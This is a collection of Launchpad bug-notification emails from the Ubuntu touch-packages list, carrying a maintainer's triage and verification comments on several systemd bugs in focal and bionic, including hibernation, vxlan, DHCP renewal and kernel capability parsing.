call EVIOCSKEYCODE with scan code 0xc022d, and key code 103: Invalid argument
  Aug 03 19:22:15 pseudonymizedHostname systemd-udevd[385]: event8: Failed to 
call EVIOCSKEYCODE with scan code 0xc022e, and key code 108: Invalid argument

  "Invalid argument" means that something goes wrong there, and I don't know 
what it is.
  On my laptop, event8 seems to be keyboard-related:

  $ sudo cat /proc/bus/input/devices | grep -C 5 event8
  I: Bus=0003 Vendor=045e Product=00db Version=0111
  N: Name="Microsoft Natural® Ergonomic Keyboard 4000"
  P: Phys=usb-:00:14.0-13.1/input0
  S: 
Sysfs=/devices/pci:00/:00:14.0/usb3/3-13/3-13.1/3-13.1:1.0/0003:045E:00DB.0002/input/input9
  U: Uniq=
  H: Handlers=sysrq kbd event8 leds 
  B: PROP=0
  B: EV=120013
  B: KEY=10007 ff8007ff febeffdff3cf fffe
  B: MSC=10
  B: LED=107

  The issue report
  https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1754921 is
  probably related but marked as a duplicate of a no longer existing
  issue report (#1750855).

  The report
  

[Touch-packages] [Bug 1909612] Re: Closing laptop lid doesn't suspend with external monitor plugged in

[Dan Streetman]

*** This bug is a duplicate of bug 1793918 ***
https://bugs.launchpad.net/bugs/1793918

** This bug has been marked a duplicate of bug 1793918
   Add/reintroduce setting to enable suspend on lid-close with external 
monitors attached

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1909612

Title:
  Closing laptop lid doesn't suspend with external monitor plugged in

Status in systemd package in Ubuntu:
  New

Bug description:
  I wish to have my laptop suspend when plugged into my dock with an
  HDMI display added. Instead, the system stays on with the monitor
  becoming the primary display. Suspending manually will work.

  I have tried editing logind.conf and uncommenting
  HandleLidSwitch=suspend and the other related items but to no avail.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.10
  Package: systemd 246.6-1ubuntu1
  Uname: Linux 5.10.3-051003-generic x86_64
  ApportVersion: 2.20.11-0ubuntu50.3
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Tue Dec 29 15:42:42 2020
  InstallationDate: Installed on 2020-07-15 (167 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  MachineType: Acer Swift SF314-42
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.10.3-051003-generic 
root=UUID=d498d6fe-a45c-4a33-a6d1-b036da243cb3 ro quiet splash vt.handoff=7
  SourcePackage: systemd
  SystemdDelta:
   [EXTENDED]   /usr/lib/systemd/system/rc-local.service → 
/usr/lib/systemd/system/rc-local.service.d/debian.conf
   [EXTENDED]   /usr/lib/systemd/system/user@.service → 
/usr/lib/systemd/system/user@.service.d/timeout.conf
   
   2 overridden configuration files found.
  SystemdFailedUnits:
   Error: command ['systemctl', 'status', '--full', '●'] failed with exit code 
4: Invalid unit name "●" escaped as "\xe2\x97\x8f" (maybe you should use 
systemd-escape?).
   Unit \xe2\x97\x8f.service could not be found.
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 06/08/2020
  dmi.bios.release: 1.4
  dmi.bios.vendor: Insyde Corp.
  dmi.bios.version: V1.04
  dmi.board.asset.tag: Type2 - Board Asset Tag
  dmi.board.name: Kona_RN
  dmi.board.vendor: RO
  dmi.board.version: V1.04
  dmi.chassis.type: 10
  dmi.chassis.vendor: Acer
  dmi.chassis.version: V1.04
  dmi.ec.firmware.release: 1.4
  dmi.modalias: 
dmi:bvnInsydeCorp.:bvrV1.04:bd06/08/2020:br1.4:efr1.4:svnAcer:pnSwiftSF314-42:pvrV1.04:rvnRO:rnKona_RN:rvrV1.04:cvnAcer:ct10:cvrV1.04:
  dmi.product.family: Swift 3
  dmi.product.name: Swift SF314-42
  dmi.product.sku: 
  dmi.product.version: V1.04
  dmi.sys.vendor: Acer
  mtime.conffile..etc.systemd.logind.conf: 2020-12-29T14:01:28.524143

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1909612/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1910252] Re: `systemctl hibernate` incorrectly reports "Not enough swap space for hibernation"

[Dan Streetman]

> /sys/power/image_size represents the required amount of space for the
image

no it doesn't:
https://www.kernel.org/doc/Documentation/ABI/testing/sysfs-power

"The kernel's suspend-to-disk code will do its best to ensure the image size
will not exceed this number.  However, if it turns out to be impossible, the
kernel will try to suspend anyway using the smallest image possible."

"Reading from this file will display the current image size limit, which is
set to around 2/5 of available RAM by default."

> /dev/dm-2: is a candidate device.
> /dev/sda2: ignoring device with lower priority
> /sys/power/resume is not configured; attempting to hibernate with path: 
> /dev/dm-2, device: 253:2, offset: 0, priority: -2
> Not enough swap for hibernation, Active(anon)=1134696 kB, size=1003516 kB, 
> used=0 kB, threshold=98%

yeah, this is the problem; the checks in sleep-config.c first look for
the highest-priority swap device that is valid as a target, but doesn't
actually check if it's large enough for all Active(anon) pages until
*after* selecting which swap device to use. Probably need to open an
upstream bug.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1910252

Title:
  `systemctl hibernate` incorrectly reports "Not enough swap space for
  hibernation"

Status in systemd package in Ubuntu:
  New

Bug description:
  I have plenty of swap space configured in my system:

  $ cat /sys/power/image_size
  6642229248   # ~ 6.2GiB

  $ swapon
  NAME  TYPE   SIZE USED PRIO
  /dev/dm-2 partition  980M   0B   -2
  /dev/sda2 partition 97.7G   0B   -3

  But when I attempt to hibernate:

  $ sudo systemctl hibernate
  Failed to hibernate system via logind: Not enough swap space for hibernation

  I have the swap partition configured as my resume device in my kernel
  commandline:

  $ cat /proc/cmdline
  BOOT_IMAGE=/vmlinuz-5.8.0-33-generic root=/dev/mapper/ubuntu--vg-root ro 
quiet splash resume=UUID=73909634-a75d-42c9-8f66-a69138690756 pcie_aspm=off 
vt.handoff=7
  $ ls -l /dev/disk/by-uuid/73909634-a75d-42c9-8f66-a69138690756
  lrwxrwxrwx 1 root root 10 Jan  5 09:08 
/dev/disk/by-uuid/73909634-a75d-42c9-8f66-a69138690756 -> ../../sda2

  (I'm not really sure how to further debug my issue, any assistance
  would be appreciated!)

  ProblemType: Bug
  DistroRelease: Ubuntu 20.10
  Package: systemd 246.6-1ubuntu1
  ProcVersionSignature: Ubuntu 5.8.0-33.36-generic 5.8.17
  Uname: Linux 5.8.0-33-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair nvidia_modeset 
nvidia
  ApportVersion: 2.20.11-0ubuntu50.3
  Architecture: amd64
  CasperMD5CheckResult: skip
  Date: Tue Jan  5 09:33:04 2021
  InstallationDate: Installed on 2019-05-07 (608 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Gigabyte Technology Co., Ltd. B450M DS3H
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.8.0-33-generic 
root=/dev/mapper/ubuntu--vg-root ro quiet splash 
resume=UUID=73909634-a75d-42c9-8f66-a69138690756 pcie_aspm=off vt.handoff=7
  SourcePackage: systemd
  SystemdDelta:
   [EXTENDED]   /lib/systemd/system/rc-local.service → 
/lib/systemd/system/rc-local.service.d/debian.conf
   [EXTENDED]   /lib/systemd/system/user@.service → 
/lib/systemd/system/user@.service.d/timeout.conf
   
   2 overridden configuration files found.
  SystemdFailedUnits:
   Error: command ['systemctl', 'status', '--full', '●'] failed with exit code 
4: Invalid unit name "●" escaped as "\xe2\x97\x8f" (maybe you should use 
systemd-escape?).
   Unit \xe2\x97\x8f.service could not be found.
   --
   Error: command ['systemctl', 'status', '--full', '●'] failed with exit code 
4: Invalid unit name "●" escaped as "\xe2\x97\x8f" (maybe you should use 
systemd-escape?).
   Unit \xe2\x97\x8f.service could not be found.
  UpgradeStatus: Upgraded to groovy on 2020-06-22 (196 days ago)
  dmi.bios.date: 01/25/2019
  dmi.bios.release: 5.13
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: F4
  dmi.board.asset.tag: Default string
  dmi.board.name: B450M DS3H-CF
  dmi.board.vendor: Gigabyte Technology Co., Ltd.
  dmi.board.version: x.x
  dmi.chassis.asset.tag: Default string
  dmi.chassis.type: 3
  dmi.chassis.vendor: Default string
  dmi.chassis.version: Default string
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrF4:bd01/25/2019:br5.13:svnGigabyteTechnologyCo.,Ltd.:pnB450MDS3H:pvrDefaultstring:rvnGigabyteTechnologyCo.,Ltd.:rnB450MDS3H-CF:rvrx.x:cvnDefaultstring:ct3:cvrDefaultstring:
  dmi.product.family: Default string
  dmi.product.name: B450M DS3H
  dmi.product.sku: Default string
  dmi.product.version: Default string
  dmi.sys.vendor: Gigabyte Technology Co., Ltd.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1910252/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post 

[Touch-packages] [Bug 1910775] Re: netdev does not support the independent flag for vxlan

[Dan Streetman]

I understand the need for the parameter upstream, however backporting
features to existing releases typically needs a bit more justification
than just the fact it's nice to have. Can you explain why you can't just
use the existing method (in focal) for creating a vxlan device?
Specifically, setting VXLAN= in the physical device's .network file.

** Changed in: systemd (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1910775

Title:
  netdev does not support the independent flag for vxlan

Status in systemd package in Ubuntu:
  Incomplete

Bug description:
  systemd.netdev does support the independet option for various types of
  interfaces but not for type vxlan. This options was added in a later
  release of systemd (247) with this PR:
  https://github.com/systemd/systemd/pull/17073.

  Since it is currently not possible to create a interface with type
  vxlan it would be nice the include this change in the current LTS
  release (focal).

  "We also need":
  1) Description: Ubuntu 20.04.1 LTS, Release: 20.04
  2) systemd:
Installed: 245.4-4ubuntu3.3
Candidate: 245.4-4ubuntu3.3
  3) systemd support the flag
  4) it does not support it

  Thanks!

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1910775/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1890448] Re: hwdb: Add EliteBook to use micmute hotkey

[Dan Streetman]

@kaihengfeng can you verify this for focal?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1890448

Title:
  hwdb: Add EliteBook to use micmute hotkey

Status in HWE Next:
  New
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  Fix Committed

Bug description:
  [Impact]
  Micmute hotkey on many HP EliteBooks don't work.

  [Fix]
  Commit b6eb208b29ae ("hwdb: Add EliteBook to use micmute hotkey"), to map AT 
keyboard's scancode to micmute hotkey.

  [Test]
  With the one-liner fix, micmute hotkey works on all the EliteBooks I tested.

  [Regression Potential]
  The hwdb originally only matches a few EliteBook, and fix changes that to 
match all EliteBook models. So if there's an EliteBook that uses the scancode 
for other purpose, there will be a regression.
  However, the risk is rather slim because HP is confident that all EliteBooks 
use the same scancode for mic mute hotkey.

  [scope]

  this is needed for f and earlier.

  this is fixed upstream by commit b6eb208b29ae which is included
  starting in v246, so g and later are already fixed.

To manage notifications about this bug go to:
https://bugs.launchpad.net/hwe-next/+bug/1890448/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1903300] Re: systemd-networkd silently fails to set vxlan multicast group

[Dan Streetman]

** Tags removed: verification-needed verification-needed-focal
** Tags added: verification-done verification-done-focal

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1903300

Title:
  systemd-networkd silently fails to set vxlan multicast group

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  Fix Committed

Bug description:
  [impact]

  setting VXLAN.Group does not correctly configure multicast group

  [test case]

  taken from upstream bug, example networkd config:

  [NetDev]
  Kind=vxlan
  Name=myvx

  [VXLAN]
  VNI=1
  Group=ff02::42:1
  DestinationPort=8472

  After restarting systemd-networkd the VXLAN device is created, but the
  group address is not assigned. Use ip -d link show myvx and networkctl
  show myvx to verify.

  [regression potential]

  any regression would likely cause problems only with VXLAN netdevs
  created by networkd.

  [scope]

  this is needed only for f.

  this was introduced by upstream commit 83cb24ac20b which was first in
  v243, so this bug does not exist in b and earlier.

  this was fixed by upstream commit
  7c9b26900cc33daf080627daf5904de74c1ef267 (and two following commits)
  which were first included in v246, so this is already fixed in g and
  later.

  [original description]

  
  Fixed upstream, please include [1].

  Thank you.

  [1] https://github.com/systemd/systemd/pull/15397

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: systemd 245.4-4ubuntu3.3
  ProcVersionSignature: Ubuntu 5.4.0-52.57-generic 5.4.65
  Uname: Linux 5.4.0-52-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27.11
  Architecture: amd64
  CasperMD5CheckResult: skip
  Date: Fri Nov  6 14:16:19 2020
  MachineType: QEMU Standard PC (Q35 + ICH9, 2009)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   LANG=C.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-52-generic 
root=UUID=97786d27-c04a-4592-a087-f19a689468a9 ro console=tty1 console=ttyS0
  SourcePackage: systemd
  UpgradeStatus: Upgraded to focal on 2020-08-27 (70 days ago)
  dmi.bios.date: 04/01/2014
  dmi.bios.vendor: SeaBIOS
  dmi.bios.version: rel-1.13.0-48-gd9c812dda519-prebuilt.qemu.org
  dmi.chassis.type: 1
  dmi.chassis.vendor: QEMU
  dmi.chassis.version: pc-q35-5.1
  dmi.modalias: 
dmi:bvnSeaBIOS:bvrrel-1.13.0-48-gd9c812dda519-prebuilt.qemu.org:bd04/01/2014:svnQEMU:pnStandardPC(Q35+ICH9,2009):pvrpc-q35-5.1:cvnQEMU:ct1:cvrpc-q35-5.1:
  dmi.product.name: Standard PC (Q35 + ICH9, 2009)
  dmi.product.version: pc-q35-5.1
  dmi.sys.vendor: QEMU

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1903300/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1907306] Re: networkd dhcpv4 client never attempts more than 2 renew and 2 rebind

[Dan Streetman]

groovy:

root@lp1907306-g:~# dpkg -l systemd|grep systemd
ii  systemd246.6-1ubuntu1.1 amd64system and service manager
root@lp1907306-g:~# journalctl -b -u systemd-networkd | grep 'ifindex 3'
Jan 13 18:57:26 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
STARTED on ifindex 3
root@lp1907306-g:~# journalctl -b -u systemd-networkd | grep 0x39b455d6
Jan 13 18:57:26 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
STARTED on ifindex 3
Jan 13 18:57:26 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
DISCOVER
Jan 13 18:57:26 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
OFFER
Jan 13 18:57:26 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
REQUEST (requesting)
Jan 13 18:57:26 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
ACK
Jan 13 18:57:26 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
lease expires in 59min 59s
Jan 13 18:57:26 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
T2 expires in 52min 30s
Jan 13 18:57:26 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
T1 expires in 29min 59s
Jan 13 19:27:25 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
REQUEST (renewing)
Jan 13 19:38:41 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
REQUEST (renewing)
Jan 13 19:44:18 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
REQUEST (renewing)
Jan 13 19:47:07 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
REQUEST (renewing)
Jan 13 19:48:32 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
REQUEST (renewing)
Jan 13 19:49:32 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
REQUEST (renewing)
Jan 13 19:49:56 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
REQUEST (rebinding)
Jan 13 19:53:41 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
REQUEST (rebinding)
Jan 13 19:55:33 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
REQUEST (rebinding)
Jan 13 19:56:33 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
REQUEST (rebinding)
Jan 13 19:57:26 lp1907306-g systemd-networkd[22430]: DHCP CLIENT (0x39b455d6): 
EXPIRED


focal:

root@lp1907306-f:~# dpkg -l systemd|grep systemd
ii  systemd245.4-4ubuntu3.4 amd64system and service manager
root@lp1907306-f:~# journalctl -b -u systemd-networkd | grep 'ifindex 3'
Jan 13 18:57:24 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
STARTED on ifindex 3
root@lp1907306-f:~# journalctl -b -u systemd-networkd | grep 0xf2c32973
Jan 13 18:57:24 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
STARTED on ifindex 3
Jan 13 18:57:24 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
DISCOVER
Jan 13 18:57:24 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
OFFER
Jan 13 18:57:24 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
REQUEST (requesting)
Jan 13 18:57:24 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
ACK
Jan 13 18:57:24 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
lease expires in 59min 59s
Jan 13 18:57:24 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
T2 expires in 52min 29s
Jan 13 18:57:24 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
T1 expires in 30min
Jan 13 19:27:24 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
REQUEST (renewing)
Jan 13 19:38:39 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
REQUEST (renewing)
Jan 13 19:44:16 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
REQUEST (renewing)
Jan 13 19:47:04 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
REQUEST (renewing)
Jan 13 19:48:29 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
REQUEST (renewing)
Jan 13 19:49:29 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
REQUEST (renewing)
Jan 13 19:49:53 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
REQUEST (rebinding)
Jan 13 19:53:38 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
REQUEST (rebinding)
Jan 13 19:55:31 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
REQUEST (rebinding)
Jan 13 19:56:31 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
REQUEST (rebinding)
Jan 13 19:57:24 lp1907306-f systemd-networkd[23394]: DHCP CLIENT (0xf2c32973): 
EXPIRED


bionic:

root@lp1907306-b:~# dpkg -l systemd|grep systemd
ii  systemd237-3ubuntu10.44 amd64system and service manager
root@lp1907306-b:~# journalctl -b -u systemd-networkd | grep 'ifindex 3'
Jan 13 18:57:22 lp1907306-b systemd-networkd[25911]: DHCP CLIENT (0x9b4dacd8): 
STARTED on ifindex 3
root@lp1907306-b:~# journalctl -b -u systemd-networkd | grep 0x9b4dacd8
Jan 13 18:57:22 lp1907306-b systemd-networkd[25911]: DHCP CLIENT (0x9b4dacd8): 
STARTED on ifindex 3
Jan 13 18:57:22 lp1907306-b 

[Touch-packages] [Bug 1905245] Re: "Failed to parse bus message: Invalid argument" with Linux 5.8

[Dan Streetman]

focal host reproduction:

root@lp1905245-f:~# uname -a
Linux lp1905245-f 5.8.0-36-generic #40~20.04.1-Ubuntu SMP Wed Jan 6 10:15:55 
UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
root@lp1905245-f:~# dpkg -l systemd|grep systemd
ii  systemd245.4-4ubuntu3.3 amd64system and service manager
root@lp1905245-f:~# systemctl show -p CapabilityBoundingSet apparmor
Failed to parse bus message: Invalid argument
root@lp1905245-f:~# echo $?
1

focal container repro:

root@lp1905245-f:~# lxc shell focal
root@focal:~# dpkg -l systemd|grep systemd
ii  systemd245.4-4ubuntu3.3 amd64system and service manager
root@focal:~# systemctl show -p CapabilityBoundingSet apparmor
Failed to parse bus message: Invalid argument
root@focal:~# echo $?
1

bionic container repro:

root@lp1905245-f:~# lxc shell bionic
root@bionic:~# dpkg -l systemd|grep systemd
ii  systemd237-3ubuntu10.43 amd64system and service manager
root@bionic:~# systemctl show -p CapabilityBoundingSet apparmor
Failed to parse bus message: Invalid argument
root@bionic:~# echo $?
1


focal host verification:

root@lp1905245-f:~# dpkg -l systemd|grep systemd
ii  systemd245.4-4ubuntu3.4 amd64system and service manager
root@lp1905245-f:~# systemctl show -p CapabilityBoundingSet apparmor
CapabilityBoundingSet=cap_chown cap_dac_override cap_dac_read_search cap_fowner 
cap_fsetid cap_kill cap_setgid cap_setuid cap_setpcap cap_linux_immutable 
cap_net_bind_service cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock 
cap_ipc_owner cap_sys_module cap_sys_>
root@lp1905245-f:~# echo $?
0


focal container verification:

root@focal:~# dpkg -l systemd|grep systemd
ii  systemd245.4-4ubuntu3.4 amd64system and service manager
root@focal:~# systemctl show -p CapabilityBoundingSet apparmor
CapabilityBoundingSet=cap_chown cap_dac_override cap_dac_read_search cap_fowner 
cap_fsetid cap_kill cap_setgid cap_setuid cap_setpcap cap_linux_immutable 
cap_net_bind_service cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock 
cap_ipc_owner cap_sys_module cap_sys_>
root@focal:~# echo $?
0


bionic container verification:

root@bionic:~# dpkg -l systemd|grep systemd
ii  systemd237-3ubuntu10.44 amd64system and service manager
root@bionic:~# systemctl show -p CapabilityBoundingSet apparmor
CapabilityBoundingSet=cap_chown cap_dac_override cap_dac_read_search cap_fowner 
cap_fsetid cap_kill cap_setgid cap_setuid cap_setpcap cap_linux_immutable 
cap_net_bind_service cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock 
cap_ipc_owner cap_sys_module cap_sys_r
root@bionic:~# echo $?
0


** Tags removed: verification-needed verification-needed-bionic 
verification-needed-focal
** Tags added: verification-done verification-done-bionic 
verification-done-focal

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1905245

Title:
  "Failed to parse bus message: Invalid argument" with Linux 5.8

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Fix Committed
Status in systemd source package in Focal:
  Fix Committed

Bug description:
  [impact]

  newer kernels introduced a new capability, and existing systemd
  doesn't have the name mapping for the new cap (since the mapping table
  is generated at systemd compile time), so it fails when trying to map
  the capability to a user-facing name, which causes failure when
  running commands like 'systemctl show'

  [test case]

  install a focal system, and install the 5.8 (or newer) kernel, e.g.
  from linux-generic-hwe-20.04-edge, and reboot into the new kernel.

  Find any service that does not specify its CapabilityBoundingSet; e.g.
  'apparmor', and run systemctl show on it:

  ubuntu@lp1905245-f:~$ systemctl show -p CapabilityBoundingSet apparmor
  Failed to parse bus message: Invalid argument

  the command should correctly show the value, e.g.:
  $ systemctl show -p CapabilityBoundingSet apparmor
  CapabilityBoundingSet=cap_chown cap_dac_override ...etc...

  [regression potential]

  a regression would likely occur while systemd is parsing or printing
  or otherwise handling kernel capabilities. A regression could happen
  when running systemd commands, such as systemctl, or when pid1 is
  managing services.

  [scope]

  this is needed only in focal and bionic.

  This is fixed upstream by PR 16424:
  https://github.com/systemd/systemd/pull/16424
  which was first included in v246, so this is already fixed in groovy and 
later.

  This was introduced upstream in systemd by commit
  52610b020c077ee769c6923249f7e6c4e99d2980 which was first included in
  v235, so this bug does not exist in Xenial.

  This bug will reproduce on any system running under the 5.8 kernel,
  with the new capability, if the systemd binary was compiled with
  kernel headers that do not include the new capability. This 

[Touch-packages] [Bug 1878955] Re: resolved dhclient-enter-hook complains about an empty file

[Dan Streetman]

bionic:

root@lp1878955-b:~# dpkg -l systemd|grep systemd
ii  systemd237-3ubuntu10.43 amd64system and service manager
root@lp1878955-b:~# dhclient -i ens8
cmp: EOF on /tmp/tmp.poVVjvvwPp which is empty


root@lp1878955-b:~# dpkg -l systemd|grep systemd
ii  systemd237-3ubuntu10.44 amd64system and service manager
root@lp1878955-b:~# dhclient -i ens8
root@lp1878955-b:~# 


** Tags removed: verification-needed verification-needed-bionic 
verification-needed-focal
** Tags added: verification-done verification-done-bionic 
verification-done-focal

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1878955

Title:
  resolved dhclient-enter-hook complains about an empty file

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Fix Committed
Status in systemd source package in Focal:
  Fix Committed

Bug description:
  [impact]

  When starting/using `dhclient`, it will often return an error such as:

  cmp: EOF on /tmp/tmp.yCyV6zBzhB which is empty

  [test case]

  run dhclient for the first time (for the current boot) on a
  bionic/focal system, or remove the file(s) in
  /run/systemd/resolved.conf.d/ starting with 'isc-dhcp-*', and then run
  dhclient.

  [regression potential]

  any regression would likely cause the DNS configuration that dhclient
  gets to not be properly reported to systemd-resolved, resulting in
  problematic/broken systemd DNS resolution.

  [scope]

  this is needed in b/f

  this hook was removed from systemd starting in g, and the hook was not
  yet added in x, so this change is needed only in b and f.

  [original description]

  When starting/using `dhclient`, it will often return an error such as:

  cmp: EOF on /tmp/tmp.yCyV6zBzhB which is empty

  This is due to the use of `cmp` in "/etc/dhcp/dhclient-enter-
  hooks.d/resolved"

  Because the $oldstate file can be empty, or different, it should use
  `cmp --quiet`

  This happens when "/run/systemd/resolved.conf.d/isc-
  dhcp-v*-$interface.conf" files do not exist, or when the content
  changes.

  This is very loosely related to
  https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1805183

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1878955/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1878955] Re: resolved dhclient-enter-hook complains about an empty file

[Dan Streetman]

focal:

root@lp1878955-f:~# dpkg -l systemd|grep systemd
ii  systemd245.4-4ubuntu3.3 amd64system and service manager
root@lp1878955-f:~# dhclient -i ens8
cmp: EOF on /tmp/tmp.4YGbdTC8iI which is empty


root@lp1878955-f:~# dpkg -l systemd|grep systemd
ii  systemd245.4-4ubuntu3.4 amd64system and service manager
root@lp1878955-f:~# dhclient -i ens8
root@lp1878955-f:~#

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1878955

Title:
  resolved dhclient-enter-hook complains about an empty file

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Fix Committed
Status in systemd source package in Focal:
  Fix Committed

Bug description:
  [impact]

  When starting/using `dhclient`, it will often return an error such as:

  cmp: EOF on /tmp/tmp.yCyV6zBzhB which is empty

  [test case]

  run dhclient for the first time (for the current boot) on a
  bionic/focal system, or remove the file(s) in
  /run/systemd/resolved.conf.d/ starting with 'isc-dhcp-*', and then run
  dhclient.

  [regression potential]

  any regression would likely cause the DNS configuration that dhclient
  gets to not be properly reported to systemd-resolved, resulting in
  problematic/broken systemd DNS resolution.

  [scope]

  this is needed in b/f

  this hook was removed from systemd starting in g, and the hook was not
  yet added in x, so this change is needed only in b and f.

  [original description]

  When starting/using `dhclient`, it will often return an error such as:

  cmp: EOF on /tmp/tmp.yCyV6zBzhB which is empty

  This is due to the use of `cmp` in "/etc/dhcp/dhclient-enter-
  hooks.d/resolved"

  Because the $oldstate file can be empty, or different, it should use
  `cmp --quiet`

  This happens when "/run/systemd/resolved.conf.d/isc-
